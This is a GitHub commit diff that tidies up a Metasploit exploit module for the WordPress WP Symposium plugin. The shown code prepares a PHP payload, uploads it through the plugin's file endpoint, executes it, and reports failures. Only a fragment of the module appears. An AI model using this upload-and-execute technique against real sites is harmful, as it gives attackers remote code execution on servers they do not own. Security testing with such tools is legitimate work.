Skip to content

Commit 93dc90d

Browse files
committed
Tidied up some code with existing mixins
1 parent 7b92c6c commit 93dc90d

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/exploits/unix/webapp/wp_symposium_shell_upload.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -59,9 +59,9 @@ def generate_mime_message(payload, payload_name, directory_name, symposium_url)
5959

6060
def exploit
6161
print_status("#{peer} - Preparing payload")
62-
unique_name = "#{Rex::Text.rand_text_alpha(10)}"
62+
unique_name = Rex::Text.rand_text_alpha(10)
6363
payload_name = "#{unique_name}.php"
64-
symposium_url = normalize_uri(target_uri, wp_content_dir, 'plugins', 'wp-symposium', 'server', 'php')
64+
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
6565
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
6666
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
6767
symposium_url = normalize_uri(symposium_url, 'index.php')
@@ -84,9 +84,13 @@ def exploit
8484
}, 5)
8585
print_good("#{peer} - Executed payload")
8686
else
87-
print_error("#{peer} - Failed to upload the payload")
88-
vprint_error("#{peer} - HTTP Status: #{res.code}")
89-
vprint_error("#{peer} - Server returned: #{res.body}")
87+
if res.nil?
88+
fail_with(Failure::Unreachable, "No response from the target")
89+
else
90+
vprint_error("#{peer} - HTTP Status: #{res.code}")
91+
vprint_error("#{peer} - Server returned: #{res.body}")
92+
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
93+
end
9094
end
9195
end
9296
end

0 commit comments

Comments
 (0)